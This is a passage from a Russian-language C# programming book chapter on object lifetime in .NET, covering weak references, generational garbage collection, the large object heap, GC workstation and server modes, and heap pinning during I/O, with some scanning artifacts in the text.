узнать, не удален ли объект, но ничего не нужно с ним делать, если он еще не удален (напри- мер, если у вас есть коллекция, содержащая слабые ссылки, вам может 330
Время жизни объекта потребоваться периодически удалять из нее все записи, связанные с уже неактивными объектами). Обобщенный класс WeakReference<T> не предоставляет свой- л ство isAlive. Это позволяет избежать тех проблем, к которым Доведет неправильное применение данного свойства в необоб- щенной версии класса. Используя свойство i sAl i ve, легко мож- но ошибочно предположить, что если оно возвращает true, то свойство Target обязательно возвратит значение, отличное от null. Однако если операция сборки мусора произойдет в не- подходящий момент, это будет не так. Обобщенная версия класса исключает возможность возникновения такой пробле- мы, заставляя нас использовать атомарный метод TryGetValue. Если необходимо лишь проверить, доступен ли объект, ничего с ним при этом не делая, просто вызовите TryGetValue и не-Ис- пользуйте возвращаемую им ссылку. Далее я расскажу о финализации, усложняющей ситуацию, вводя переходный период, в течение которого объект уже считается недости- жимым, но еще не удален. ч Поскольку находящиеся в этом состоянии объекты представляют мало пользы, по умолчанию слабая ссылка (как обобщенная, так и нео- бобщенная) обращается с ними так, как если бы они уже были удалены. Это называется короткой слабой ссылкой. Если по некоторой причине вам необходимо знать, действительно ли объект уже удален (а не просто находится на пути к этому), то оба класса слабой ссылки предлагают перегруженные конструкторы, позволяющие создавать длинную слабую ссылку, которая предоставляет доступ к объектам даже в переходный период между утратой объектом достижимости и окончательным уда- лением. Освобождение памяти До сих пор мы говорили о том, как среда CLR определяет, какие объекты уже не используются, но не касались вопроса о том, что про- исходит дальше. Идентифицировав мусор, среда выполнения должна его собрать. CLR применяет слегка отличающиеся стратегии для малых и больших объектов. (В настоящее время она определяет объект разме- ром больше 85 000 байтов как большой, однако это деталь реализации, 331
Глава 7 которая может измениться.) Поскольку многие из размещаемых в па- мяти объектов являются малыми, сначала я расскажу о том, как обстоит дело в их случае. Среда CLR стремится поддерживать такую организацию памяти, чтобы свободное пространство оставалось непрерывным. Очевидно, что такого легко добиться сразу после запуска приложения, поскольку в этот момент в памяти только и существует свободное пространство, и чтобы оно осталось непрерывным, достаточно размещать каждый но- вый объект сразу после предыдущего. Однако после выполнения первой сборки мусора куча уже не будет выглядеть так аккуратно. Большинство объектов обладает коротким временем жизни, поэтому почти все объек- ты, размещенные в памяти после некоторой одной операции сборки му- сора, ко времени проведения следующей операции сборки мусора уже окажутся недостижимы. Однако некоторые еще будут использоваться. Время от времени приложения создают объекты, требующиеся им на более длительное время; кроме того, какая бы работа ни выполнялась приложением в момент проведения сборки мусорй, она также, вероятно, требует использования некоторых объектов, а гютому самые последние из выделенных блоков кучи, скорее всего, еще будут использоваться. Это означает, что конец кучи может выглядеть примерно так, как пока- зано на рис. 7.1, где серые прямоугольники представляют достижимые блоки, а белые — уже не используемые. (В действительности к моменту выполнения сборки мусора куча содержит гораздо большее количество блоков. Реальная диаграмма содержала бы очень много прямоугольни- ков, однако в остальном выглядела бы аналогично.) Старые объекты Новые объекты Рис. 7.1. Участок кучи с несколькими достижимыми объектами Одна из возможных стратегий выделения памяти состоит в том, что- бы начать использовать пустые блоки по мере возникновения необходи- мости в дополнительной памяти, однако с этим подходом связаны сле- дующие две проблемы. Во-первых, такой подход имеет тенденцию быть неэкономным, поскольку размер необходимых приложению блоков, как правило, не соответствует в точности размеру доступных пустых бло- ков. Во-вторых, поиск подходящего пустого блока может потребовать определенных затрат, особенно если вы стараетесь выбрать из множе- ства пробелов такой, который бы максимально экономно использовал 332
Время жизни объекта доступное пространство. Конечно, речь идет не о каких-то колоссаль- ных затратах — таким образом работают многие кучи, — однако все же это гораздо затратнее по сравнению с исходной ситуацией, когда каж- дый новый блок размещается сразу после предыдущего, поскольку все свободное пространство непрерывно. Поскольку фрагментация кучи ведет к значительным затратам, среда CLR обычно старается вернуть ее к состоянию, когда свободное пространство является непрерывным. Как показывает рис. 7.2, она перемещает достижимые объекты в нача- ло кучи, так, чтобы все свободное пространство находилось в ее конце. Это возвращает кучу к той благоприятной ситуации, когда новые блоки можно размещать один за другим в одном непрерывном участке свобод- ного пространства. Старые объекты Новые объекты Рис. 7.2. Участок кучи после уплотнения Среде выполнения необходимо убедиться в том, что все ссылки на блоки будут работать и после их перемещения. CLR реализует ссылки как указатели (хотя спецификация об- щеязыковой инфраструктуры CLI этого не требует — ссылка определяется лишь как значение, которое идентифицирует некоторый конкретный экземпляр в куче). Она уже знает, где находятся все ссылки на любой конкретный блок, поскольку ей нужно было их найти при обнаружении достижимых блоков. Таким образом, перемещая блок, она модифицирует все эти указатели. Уплотнение кучи не только делает сравнительно дешевой операцией выделение блока кучи, но и несет с собой еще одно преимущество с точ- ки зрения производительности. Поскольку блоки размещаются в непре- рывном участке свободного пространства, объекты, которые создают- ся в быстро друг за другом, обычно оказываются рядом и в куче. Это важно, поскольку современные процессоры предпочитают локальное расположение данных (то есть они показывают наилучшую произво- дительность, когда взаимосвязанные фрагменты информации хранятся недалеко друг от друга). Низкие затраты на выделение памяти и высокая вероятность хоро- шего локального расположения данных означают, что в некоторых слу- 333
Глава? чаях куча на основе сборки мусора может предложить лучшую произво- дительность, чем обычная, которая требует, чтобы освобождение памяти выполнялось программой явно. Это может показаться удивительным, учитывая тот факт, что сборщику мусора приходится выполнять много дополнительной работы, ненужной в куче без сборки мусора. Некото- рая часть этой «дополнительной работы», однако, является иллюзор- ной — отслеживать, какие объекты используются в данный момент, не- обходимо в любом случае, и традиционные кучи просто переносят эти служебные накладные расходы в наш код. Перемещение существующих блоков памяти тем не менее дается недешево, поэтому среда CLR ис- пользует определенные приемы, позволяющие свести объем выполняе- мого копирования к минимуму. Чем старше объект, тем больших затрат требует от среды CLR уплот- нение кучи после того, как он становится недостижимым. Ес^и в момент выполнения сборки мусора недостижимым оказывается самый послед- ний из размещенных в памяти объектов, то для него уплотнение обхо- дится без затрат: после этого объекта нет никаких других, потому пере- мещать ничего не нужно. Сравните с самым первым из размещенных в памяти объектов — если недостижимым станет он, то уплотнение бу- дет означать перемещение всех достижимых объектов в куче. В общем случае, чем старше объект, тем больше объектов будет находиться после него и, соответственно, тем больше данных потребуется переместить для уплотнения кучи. Копирование 20 мегабайт данных для того, что- бы сэкономить 20 байт, не выглядит как равноценный обмен. Поэтому среда CLR часто откладывает операцию уплотнения для более старых частей кучи. Для того чтобы решить, что считать «старым», среда CLR разделя- ет кучу на поколения. Границы между поколениями сдвигаются после каждой сборки мусора, поскольку принадлежность объекта к тому или иному поколению определяется тем, сколько операций сборки мусора он пережил. Любой объект, который был размещен в памяти после по- следней сборки мусора, принадлежит к поколению 0, поскольку он еще не пережил ни одной. Во время следующей сборки все объекты поко- ления 0, которые еще остаются достижимыми, перемещаются, как это необходимо для уплотнения кучи, и теперь уже считаются принадлежа- щими к поколению 1. Объекты поколения 1 — еще не старые. Операция сборки мусора обычно имеет место, когда код делает ту или иную работу — в конце концов, она выполняется, когда куча используется, и, соответственно, 334
Время жизни объекта в этот момент программа не может находиться в бездействии. Потому существует большая вероятность, что некоторые из недавно размещен- ных объектов представляют выполняемую программой в настоящий момент работу и вскоре станут недостижимыми. Поколение 1 выступает в роли своеобразного «зала ожидания»: какие-то из этих объектов обла- дают малым временем жизни, другие — большим. По мере того как программа продолжает выполняться, дальнейшие операции сборки мусора пополняют поколение 1 новыми объектами. Некоторые из объектов поколения 1 становятся за прошедшее время недостижимыми. Сборщик мусора не обязательно уплотняет данную часть кучи немедленно — между каждыми двумя операциями уплотне- ния поколения 1 может происходить несколько операций сборки мусо- ра и уплотнения поколения 0, но рано или поздно это происходит. Те объекты, что переживают эту стадию, переходят в поколение 2, которой является самым старым. Попытки освободить память от поколения 2 среда CLR предприни- мает гораздо реже, чем в случае других поколений. Годы исследований и анализа показали, что в большинстве приложений объекты, которые смогли дожить до поколения 2, с большой долей вероятности будут оста- ваться достижимыми в течение длительного времени, и, соответственно, когда такой объект, в конечном итоге, станет недостижимым, он будет очень старым, равно как и объекты вокруг него. Это означает, что уплот- нение данной части кучи для освобождения памяти обходится дорого по двум причинам: во-первых, потому что после такого старого объекта, вероятно, будет находиться большое количество других объектов (что потребует копирования изрядного объема данных), а во-вторых, потому что занимаемая им память к этому моменту может не использоваться уже длительное время, то есть находиться уже не в кэше процессора, что замедляет копирование еще больше. И связанные с кэшем затраты тут не закончатся, поскольку если процессору придется переместить мега- байты данных в старых областях кучи, это, по всей вероятности, приве- дет к очистке кэша процессора. Размер кэша может составлять от 512 Кб у очень низкопроизводительных дешевых моделей до более чем 30 Мб у высокопроизводительных серверных процессоров, однако обычно он находится в диапазоне от 2 до 16 Мб, и многие .NET-приложения ис- пользуют кучу большего размера. Многие используемые приложением данные будут находиться в кэше до выполнения сборки мусора поколе- ния 2, но во время этой операции будут удалены-оттуда. Потому после завершения сборки мусора и возобновления нормальной работы прило- 335
Глава? жения код будет выполняться в замедленном темпе, пока необходимые приложению данные не окажутся снова в кэше. Поколения 0 и 1 иногда называют эфемерными, поскольку содержа- щиеся в них объекты в основной своей массе существуют лишь в тече- ние короткого времени. Содержимое этих частей кучи часто находится в кэше процессора, поскольку доступ к ним осуществлялся недавно, и потому операция уплотнения для них обходится сравнительно недо- рого. Более того, поскольку большинство объектов обладает коротким временем жизни, то основную часть памяти, которую удается освобо- дить сборщику мусора, он получает от объектов этих двух поколений; таким образом, поколения 0 и 1 предлагают наибольшую отдачу (в виде высвобожденной памяти) в обмен на затрачиваемое время процессора. Поэтому у интенсивно работающей программы сборки мусора эфемер- ных поколений нередко выполняются с частотой до нескольких раз в се- кунду, в то время как интервал времени между сборками мусора поколе- ния 2 часто достигает нескольких минут. Для объектов поколения 2 у среды CLR припасен еще один козырь в рукаве. Поскольку они редко изменяются, существует большая веро- ятность того, что в течение первой фазы сборки мусора — когда среда выполнения определяет, какие объекты являются достижимыми, — она станет выполнять некоторую работу повторно, поскольку будет следо- вать по тем же ссылкам и выдавать те же результата для значительной части кучи. Поэтому иногда среда CLR использует предоставляемые операционной системой службы защиты памяти, чтобы определить, когда были модифицированы старые блоки кучи. Это позволяет ей ис- пользовать итоговые результаты предыдущих операций сборки мусора, вместо того чтобы каждый раз делать всю работу заново. Каким же образом принимается решение выполнить сборку мусора поколения 0, но не поколения 1 или даже 2? Для каждого из трех поко- лений эту операцию запускает достижение некоторого объема исполь- зуемой памяти. Так, для поколения 0 новая сборка мусора начинается после выделения конкретного количества байтов с момента проведения предыдущей. Пережившие новую сборку мусора объекты переходят в поколение 1, и среда CLR отслеживает, сколько байтов добавляется в поколение 1 со времени последней сборки мусора этого поколения; если количество превышает некоторый порог, то сборка мусора будет выполнена и для поколения 1. Так же срабатывает и сборка мусора для поколения 2. Величина порог^гтОтя каждого поколения не задокументи- рована, и в действительности это даже не константные значения; среда 336
Время жизни объекта CLR следит за тем, какие шаблоны выделения памяти вы используете, и модифицирует данные пороговые значения с целью найти оптималь- ный баланс между эффективным использованием памяти, минимиза- цией затрат процессорного времени на сборки мусора и недопущением чрезмерно большого времени задержки, к которому может привести долгое ожидание между сборками мусора, в результате чего среде CLR приходится выполнять слишком большой объем работы, когда она на- конец все же принимается за сборку мусора. Это объясняет почему, как было упомянуто ранее, среда CLR не всегда дожидается момента, когда ей действительно начи- В?*'нает не хватать памяти, чтобы запустить сборку мусора. Вы- z - полнение этой операции в более ранний момент может быть более эффективным. Возможно, вы сомневаетесь, что изложенная выше информация чем-нибудь полезна. Ведь, в конце концов, среда CLR гарантирует, что блоки кучи будут сохраняться до тех пор, пока они являются дости- жимыми, и что через некоторое время после того, как они станут не- достижимыми, она освободит от них память, используя стратегию, по- зволяющую сделать это эффективно. Так ли важны для разработчика детали данной схемы оптимизации поколений? На это можно ответить, что да, важны — в той мере, в какой они говорят нам о том, что какие- либо практики программирования более эффективны по сравнению с другими. z Наиболее очевидный вывод, который можно сделать после рас- смотрения этого процесса, состоит в том, что чем больше объектов раз- мещается в памяти, тем интенсивнее приходится работать сборщику мусора. Однако к такому выводу можно прийти, если ничего не знать о реализации. Если быть более точным, то сборщику мусора приходит- ся работать интенсивнее из-за больших объектов. Операцию сборки му- сора для каждого поколения запускает достижение некоторого объема используемой памяти, поэтому большие объекты не только повышают нагрузку на память, но и в конечном счете приводят к повышенному потреблению процессорного времени из-за более частого выполнения сборок мусора. Возможно, наиболее важный факт, который выявляет анализ сбор- щика мусора на основе поколений, состоит в том, что на интенсивность 337
Глава? работы такого сборщика мусора влияет продолжительность времени жизни объектов. С теми из них, которые существуют очень недолго, сборщик мусора обращается очень эффективно, поскольку используе- мая ими память быстро освобождается в сборке мусора поколения О или 1, и уплотнение кучи в их случае не требует перемещения боль- шого объема данных. С объектами, которые обладают очень большим временем жизни, сборщик мусора обращается тоже вполне эффек- тивно, поскольку в конечном итоге они оказываются в поколении 2. Они достаточно редко перемещаются, так как сборки мусора для этой части кучи выполняются нечасто. Кроме того, для лучшей организа- ции процесса, определяющего достижимость старых объектов, среда CLR может использовать предлагаемую диспетчером памяти Windows функцию регистрации времени изменения. Тем не менее, несмотря на эффективное обращение с объектами, обладающими оч^нь малым и очень большим временем жизни, объекты, время жизни которых до- статочно велико, чтобы обеспечить попадание в поколение 2, но не намного больше этого, представляют проблему. В терминологии ком- пании Microsoft такая ситуация иногда называется кризисом среднего возраста. Если приложение обладает большим количеством объектов, кото- рые успевают попасть в поколение 2, но потом становятся Недостижи- мыми, то среде CLR потребуется чаще обычного выполнять сборки му- сора для этого поколения (фактически работа с ним ведется только во время полной сборки мусора, которая также учитывает свободное про- странство, занимаемое большими объектами). Сборка мусора для поко- ления 2 обычно обходится намного дороже по сравнению с эфемерны- ми. Уплотнение кучи в отношении старых объектов требует изрядного времени; кроме того, больше служебной работы нужно провести для изменения организации поколения 2. Среде CLR может потребоваться составить заново картину достижимости внутри данного раздела кучи; кроме того, во время уплотнения кучи сборщику мусора потребуется отключить функцию регистрации времени изменения, на основе кото- рой создается эта картина; все перечисленное влечет определенные за- траты. Также вполне вероятно, что бблыиая часть данного раздела кучи не будет находиться в кэше процессора, что замедлит работу с ним еще больше. Операции полной сборки мусора^потребляют гораздо больше про- цессорного времени по сравнению с таковыми для эфемерных поколе- ний. В приложениях с пользовательским интерфейсом это может при- 338
Время жизни объекта вести к раздражающим пользователя длительным задержкам, особенно если определенные части кучи находятся за пределами текущей стра- ницы. В серверных приложениях операции полной сборки мусора спо- собны вызывать скачки временгГобслуживания запроса. Конечно, такие проблемы не означают полного провала, и, как я расскажу далее, послед- ние версии среды CLR добились значительного прогресса в этой обла- сти; но тем не менее производительность улучшится, если количество объектов, доживающих до поколения 2, будет сведено к минимуму. Это следует учитывать при разработке кода, кэширующего представляю- щие интерес данные в памяти — политика определения возраста данных кэша, которая не учитывает поведение сборщика мусора, легко может оказаться неэффективной, и если не знать о «подводных камнях» объ- ектов со средним возрастом, будет трудно понять почему. Кроме того, как я продемонстрирую далее в этой главе, кризис среднего возраста яв- ляется одной из причин для того, чтобы в ряде случаев по возможности - избегать использования деструкторов языка С#. Я опускаю здесь некоторые подробности работы кучи. Например, я не упомянул о том, что обычно сборщик мусора выделяет ей разде- лы адресного пространства в виде участков фиксированного размера; не говорилось здесь и о том, как именно сборщик мусора освобождает память. Как ни интересны эти механизмы, представление о них в гораз- до меньшей степени влияют на то, как следует разрабатывать код, чем понимание, какие предположения делает сборщик мусора на основе по- колений о времени жизни типичного объекта. Перед тем как закрыть тему освобождения памяти от недостижимых объектов, дам осталось обсудить еще один вопрос. Как упоминалось ра- нее, большие объекты обрабатываются средой CLR по-своему. Она ис- пользует отдельную кучу, которая, соответственно, называется кучей больших объектов, то есть таких, чей размер превышает 85 000 байт. Здесь подразумевается размер самого объекта, а не суммарный объем всей памяти, занимаемой им во время конструирования. Экземпляр класса GreedyObject в листинге 7.5 является очень малым — он требует лишь пространство, достаточное для размещения одной ссылки, плюс накладные расходы на выделение блока кучи. В 32-разрядном про- цессе это составит 4 байта на ссылку и 8 байт на накладные расходы; в 64-разрядном процессе — в два раза больше. В то же время массив, на который ссылается этот объект, обладает размером в 400 000 байт и, со- ответственно, будет размещен в куче больших объектов, тогда как сам объект GreedyOb j ect — в обычной куче. 339
Глава? Листинг 7.5. Малый объект, который содержит большой массив public class GreedyObject { public int[] MyData = new int[100000]; } Хотя в принципе можно создать класс, экземпляры которого будут достаточно велики, чтобы потребовать размещения в куче больших объ- ектов, но, как правило, такое можно встретить лишь в генерируемом коде или в очень натянутых примерах. На практике почти все блоки кучи больших объектов обычно содержат массивы. Самое значительное отличие кучи больших объектов от обычной состоит в том, что сборщик мусора не уплотняет ее, поскольку копи- рование больших объектов обходится дорого. По ^своему принципу действия эта куча напоминает традиционную кучу Мзыка С: среда CLR поддерживает список свободных блоков и решает, который из них ис- пользовать, основываясь на том, какой размер запрашивается. Тем не менее заполнение данного списка свободных блоков осуществляет- ся с помощью того же механизма недостижимости, что используется и обычной кучей. * Режимы работы сборщика мусора Несмотря на то что среда CLR задает некоторые аспекты поведения сборщика мусора на этапе выполнения (например, путем динамической настройки пороговых значений, запускающих операцию сборки мусора для каждого поколения), она также предоставляет возможность указать один из нескольких режимов работы, рассчитанных на разные виды приложений. Они подразделяются на две широкие категории — режимы рабочей станции и режимы сервера — с рядом разновидностей внутри каждой. По умолчанию используется режим рабочей станции. Чтобы задать серверный режим, необходим конфигурационный файл приложения. (У веб-приложений он обычно называется web.config. За пределами веб-фреймворка ASP.NET, как правило, используется конфигурационный файл с именем Арр.config, и многие из шаблонов проектов в среде разработки Visual Studio предоставляют этот файл ав- томатически.) Конфигурационный файл, устанавливающий серверный режим сборщика мусора, представлен в листинге 7.6. Соответствующие строки выделены жирным шрифтом. 340
Время жизни объекта Листинг 7.6. Установка серверного режима работы сборщика мусора <?xml version="l.О" ?> <configuration> <startup> <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" /> </startup> <runtime> <gcServer enabled="true" /> </runtime> </configuration> Режимы рабочей станции рассчитаны на типичные рабочие нагруз- ки клиентского кода, для которых характерно то, что в любой момент процесс работает либо над одной задачей, либо над небольшим коли- чеством таковых. Существуют две разновидности режима рабочей станции: непараллельный и параллельный. Непараллельный режим предназначен для оптимизации производительности одного процес- сора с одним ядром. Фактически этот режим является единственным доступным вариантом на таких машинах — для них не доступен ни па- раллельный режим рабочей станции, ни серверный. Однако там, где присутствует несколько логических процессоров, сборщик мусора по умолчанию работает в параллельном режиме рабочей станции. (Если по какой-либо причине вам нужно отключить параллельный режим на многопроцессорной машине, добавьте в конфигурационном файле эле- мент <gcConcurrent enabled="false" /> внутри элемента <runtime>.) / Работая в параллельном режиме, сборщик мусора старается свести к минимуму количество времени, на которое приостанавливается вы- полнение потоков в процессе сборки мусора. На определенных этапах сборки мусора среда CLR вынуждена приостанавливать выполнение, чтобы гарантировать целостность данных, и в случае эфемерных поко- лений потоки будут простаивать в течение большей части времени, пока идет сборка мусора. Обычно это не вызывает проблем, поскольку такие операции выполняются очень быстро — по затратам времени они срав- нимы с ошибками обращения к несуществующей странице памяти, не связанными с дисковой активностью. (Эти неблокирующие страничные ошибки случаются в Windows довольно часто и занимают мизерное вре- мя - многие разработчики даже не подозревают о них.) Проблему пред- ставляют операции полной сборки мусора, и именно они выполняются иначе в параллельном режиме. 341
Глава 7 Для кода клиентской стороны важнее всего не допустить больших, заметных пользователю задержек. Назначение параллельного режима для сборщика мусора имеет целью дать возможность коду продолжить выполнение одновременно с определенными этапами работы сборщи- ка мусора. Некоторые ее этапы в действительности не требуют полной остановки. Чтобы обеспечить максимальные возможности для паралле- лизма, данный режим использует больше памяти, чем непараллельный, и снижает общую производительность, однако для интерактивных при- ложений это обычно является приемлемой платой за увеличение вос- принимаемой производительности. Пользователи гораздо болезненнее реагируют на замедление реакции приложения, чем на неоптимальное в среднем использование процессора. Наряду с параллельной в документации компанту^ Microsoft также упоминается и фоновая сборка мусора. Это не какой-то отдельный ре- жим, требующий специальных настроек; такая сборка мусора выпол- няется в параллельном режиме рабочей станции и представляет собой расширение, введенное в .NET 4.0 для устранения одного конкретного недостатка параллельной сборки. Несмотря на то что потоки могут про- должить свое выполнение при полной сборке мусора, до версии .NET 4.0 они останавливались, если исчерпывали свою квоту прйоления 0. Среда не начинала эфемерную сборку мусора до завершения полной сборки, и если приложение выделяло память во время параллельной сборки му- сора, выполнение потоков могло остановиться. Функция фоновой сбор- ки мусора устраняет этот недостаток, позволяя выполнять эфемерные сборки, не дожидаясь завершения полной сборки; кроме того, она делает возможным увеличение кучи путем получения дополнительного объема памяти от операционной системы во время фоновой сборки мусора. Это означает, что сборщик мусора в большей степени может минимизиро- вать простои. Серверный режим имеет существенные отличия от режима рабо- чей станции. Он доступен только при наличии нескольких логических процессоров (например, многоядерного процессора или нескольких физических). Также следует отметить, что доступность этого режима не зависит от используемой версии Windows — он одинаково работает и в серверных, и в несерверных операционных системах, если вы рас- полагаете подходящим аппаратным обеспечением, а режим рабочей станции доступен всегда. Каждый процессор получает свой раздел кучи, поэтому, когда поток работает над своей задачей независимо от осталь- ной части процесса, он может выделять блоки кучи с минимальной 342
Время жизни объекта конкуренцией за ресурсы. В серверном режиме среда CLR создает не- сколько потоков специально для выполнения работы по сборке мусора, по одному для каждого логического процессора машины. Они выпол- няются с более высоким приоритетом по сравнению с обычными пото- ками, поэтому при сборке мусора каждое из доступных ядер процессо- ра работает над собственной кучей, что позволяет обеспечить лучшую производительность по сравнению с режимом рабочей станции с одной большой кучей. Объекты, создаваемые одним потоком, по-прежнему доступ- 4 * ны для других потоков — на логическом уровне куча все так Я}'же является единой службой. Серверный режим представ- ляет собой лишь стратегию реализации, оптимизированную для рабочих нагрузок, для которых характерно то, что потоки преимущественно выполняют свои задачи независимо друг от друга. Этот режим также работает наилучшим образом, если все задачи обладают сходными шаблонами выделения кучи. Применение серверного режима связано с рядом проблем. Он рабо- тает наилучшим образом, когда на машине его использует только один процесс, поскольку этот режим стремится задействовать во время сбор- ки мусора все ядра процессора одновременно, и, как правило, потре- бляет значительно больше памяти, чем режим рабочей станции. Если на одном сервере запустить несколько .NET-процессов, каждый из ко- торых бУдет поступать таким образом, это может привести к снижению эффективности из-за конкуренции за ресурсы. Еще одной проблемой серверного режима сборки мусора является то, что он отдает предпо- чтение производительности над временем отклика — что, в частности, выражается в менее частых сборках мусора, поскольку это, как правило, увеличивает преимущества многопроцессорных сборок с точки зрения производительности; однако в то же время это означает, что каждая от- дельная операция сборки мусора занимает больше времени. Изрядная длительность полной сборки мусора в серверном режиме может привести к проблемам в приложениях с большой кучей — к при- меру, вызывает существенное замедление реакции сайта. Для устра- нения этой проблемы используют один из двух способов. Вы може- те запросить предоставление уведомлений незадолго до выполнения сборки мусора (с применением методов RegisterForFullGCNotif ication, WaitForFullGCApproach и WaitForFullGCComplete класса System. GC), и если 343
Глава 7 вы используете пул серверов, то сервер, на котором выполняется полная сборка мусора, может попросить балансировщик нагрузки не передавать свои запросы до завершения сборки мусора. В качестве альтернативы в версии .NET 4.5 или выше допускается использовать фоновую сборку мусора — в .NET 4.0 параллельные фоновые сборки мусора можно было выполнять только в режиме рабочей станции, однако в .NET 4.5 они ста- ли доступны и в серверном режиме. Фоновые сборки мусора позволяют потокам приложения продолжать свое выполнение и даже делать сбор- ки мусора поколений 0 и 1 одновременно с фоновым выполнением пол- ной сборки, что существенно снижает время отклика приложения в это время при сохранении преимуществ серверного режима в отношении производительности. Ненамеренное создание препятствий f для уплотнения кучи Уплотнение кучи является важной функцией сборщика мусора сре- ды CLR, поскольку оказывает достаточно существенное положительное влияние на производительность. Определенные операции могут соз- давать препятствия для уплотнения кучи; это явление следует свести к минимуму поскольку фрагментация памяти способна приводить к по- вышению ее потребления и существенному снижению производитель- ности. Чтобы уплотнение кучи было возможным, среда CLR должна уметь перемещать блоки кучи. Обычно она способна на это, поскольку ей из- вестны все места, в которых ваше приложение ссылается на блоки кучи; * z и она может модифицировать все ссылки при перемещении блока. Од- нако что произойдет, если вы вызовете API-интерфейс Windows, рабо- тающий с предоставленной ему памятью, напрямую? Например, если вы выполняете чтение данных из файла или сетевого сокета, как с этими данными будет взаимодействовать сборщик мусора? Если вы используете системные вызовы, выполняющие чтение или запись данных с использованием таких устройств, как диск или сетевой интерфейс, те обычно работают с памятью приложения напрямую. Если вы считываете данные с диска, операционная система, как правило, дает указание контроллеру диска поместить байты непосредственно в ту па- мять, которую ваше приложение передало API-интерфейсу. При этом операционная система выполняет необходимые вычисления по преоб- разованию виртуального адреса в физический (виртуальная память под- 344
Время жизни объекта разумевает, что значение, помещаемоеттриложением в указатель, только косвенно связано с реальным адресом в оперативной памяти компьюте- ра). Операционная система также фиксирует страницы памяти на месте на время выполнения запроса ввода-вывода, чтобы гарантировать, что физический адрес в это время останется корректным. Затем операци- онная система передает адрес дисковой системе, что дает контроллеру диска возможность скопировать данные с диска непосредственно в па- мять, не требуя какого-либо участия процессора. Это очень эффективно, однако вызывает проблемы, когда возникает необходимость выполнить уплотнение кучи. Допустим, что блок памяти представляет собой мас- сив типа byte [ ], размещенный в куче. Также предположим, что сборка мусора будет выполняться в промежутке времени между моментом, когда мы запросим данные, и моментом, когда диск сможет их предо- ставить. (Если это механический диск с вращающимися пластинами, то до того времени, когда он начнет предоставлять данные, может прой- ти до 10 мс или даже более, что является огромным сроком по меркам процессора; таким образом, вероятность, что так произойдет, довольно высока.) Если Сборщик мусора решит переместить массив byte [ ] для уплотнения кучи, то физический адрес, который операционная систе- ма передала контроллеру диска, потеряет актуальность, следовательно, когда контроллер начнет передавать данные в память, он будет записы- вать их не в то место. В лучшем случае он разместит эти байты в ячей- ках, являющихся на тот момент свободным пространством в конце кучи, однако он может и перезаписать некоторый посторонний объект, и он окажется в пространстве, ранее занятом массивом byte [ ]. Справляется с этой проблемой среда CLR одним из трех способов. Первый состоит в том, чтобы заставить сборщик мусора подождать — можно приостановить перемещение блоков кучи, пока операции ввода- вывода находятся в процессе выполнения. Однако это неудачный под- ход; загруженный сетевой сервер может на протяжении нескольких дней ни разу не войти в состояние, в котором бы операции ввода-вывода находились в процессе выполнения. На самом деле сервер может даже не выполнять каких-либо действий. Он способен выделить память для нескольких массивов типа byte [ ], чтобы разместить в них следующие несколько входящих сетевых запросов; при этом сервер, как правило, старается избегать состояния, в котором он не имеет доступа хотя бы к одному такому буферу. Операционная система, однако, располагает указателями на все эти массивы и также может предоставить соответ- ствующий физический адрес сетевой карте, чтобы она начала работу сразу же после того, как станут поступать данные. Таким образом, не- 345
Глава 7 смотря на бездействовие сервера, он будет располагать определенными буферами, которые нельзя перемещать. В качестве альтернативы среда CLR могла бы предоставлять для та- ких операций отдельную неперемещаемую кучу. Мы тогда выделяли бы для операции ввода-вывода фиксированный блок памяти и по ее завер- шении копировали результаты в массив byte [ ], размещенный в куче со сборкой мусора. Однако это решение тоже нельзя назвать идеальным. Копирование данных обходится дорого — чем больше копий входящих или исходящих данных вы будете делать, тем медленнее станет рабо- тать сервер, поэтому в действительности вам необходимо, чтобы сете- вое и дисковое аппаратное обеспечение напрямую копировало данные в место их обычного расположения или из него. Кроме т0го, если бы гипотетическая фиксированная куча являлась не просто'деталью реа- лизации среды CLR, и для минимизации копирования код приложения мог бы использовать ее напрямую, это открыло бы дорогу для всех тех ошибок управления памятью, исключить которые призвана сборка му- сора. Поэтому среда CLR использует третий подход: она предотвращает перемещение блоков кучи избирательно. Сборка мусора может сво- бодно выполняться одновременно с операциями ввода-вывода, однако некоторые блоки кучи оказываются закрепленными. Закрепление бло- ка устанавливает флаг, указывающий сборщику мусора, что в данный момент блок перемещать нельзя. Таким образом, если сборщик мусора встретит такой блок, он просто оставит его на месте, но тем не менее по- пытается переместить все, что его окружает. Закрепление блоков кучи осуществляется в коде на языке C# одним из трех способов. Это можно сделать явно, используя ключевое слово fixed. Данный подход позволяет получить необработанный указатель на ячейку памяти, такую как поле или элемент массива; компилятор сге- нерирует код, гарантирующий, что пока этот указатель находится в об- ласти видимости, блок кучи, на который он ссылается, будет закреплен- ным. Более распространенный способ закрепления блока кучи состоит в использовании интероперабельных вызовов (то есть вызовов неуправ- ляемого кода, например, метода СОМ-компонента или API-интерфейса Win32). Если выполнить интероперабельный вызов API-интерфейса, требующего указатель на что-либо, то среда CLR распознает, когда он будет указывать на блок кучи, и автоматически закрепит этот блок. (По умолчанию среда CLR автоматически отменяет закрепление, когда ме- 346
Время жизни объекта тод возвращает управление. Если вызывается асинхронный API-ин- терфейс, можно использовать уже упоминавшийся класс GCHandle, позволяющий закрепить блок-кучи до явной отмены этого действия.) Интероперабельность и необработанные указатели мы обсудим в гла- ве 21. Третий, наиболее распространенный способ закрепления блоков кучи является также и наименее прямым: многие из API-интерфейсов библиотеки классов сами вызывают неуправляемый код и, как след- ствие, закрепляют передаваемые им массивы. Например, в библиотеке классов определен класс Stream, который представляет поток байтов. Существует несколько реализаций этого абстрактного класса. Хотя есть потоки, работающие исключительно в памяти, некоторые из них обе- ртывают механизмы ввода-вывода, предоставляя доступ к файлам или данным, отсылаемым или принимаемым через сетевой сокет. Абстракт- ный базовый класс Stream определяет методы для чтения и записи дан- ных через массивы типа byte [ ], и реализации потоков ввода-вывода ча- сто закрепляют содержащие эти массивы блоки кучи на необходимый промежуток времени. Если вы создаете приложение, которое должно ^часто выполнять закрепление (например, для выполнения сетевых операций ввода- вывода), вам, вероятно, потребуется тщательно обдумать то, как будет выделяться память для закрепляемых массивов. Закрепление наносит наибольший вред недавно размещенным объектам, поскольку они на- ходятся в области кучи, где осуществляется максимальная деятель- ность по уплотнению. Закрепление недавно размещенных блоков, как правило, приводит к фрагментации эфемерного раздела кучи. Память, которая обычно освобождается почти мгновенно, при этом вынужде- на ожидать отмены закрепления блоков, так что к тому времени, ког- да сборщик мусора добирается до этих блоков, после них оказывается размещено гораздо больше других блоков, что, в свою очередь, означает необходимость выполнения существенно большего объема работы для освобождения памяти. 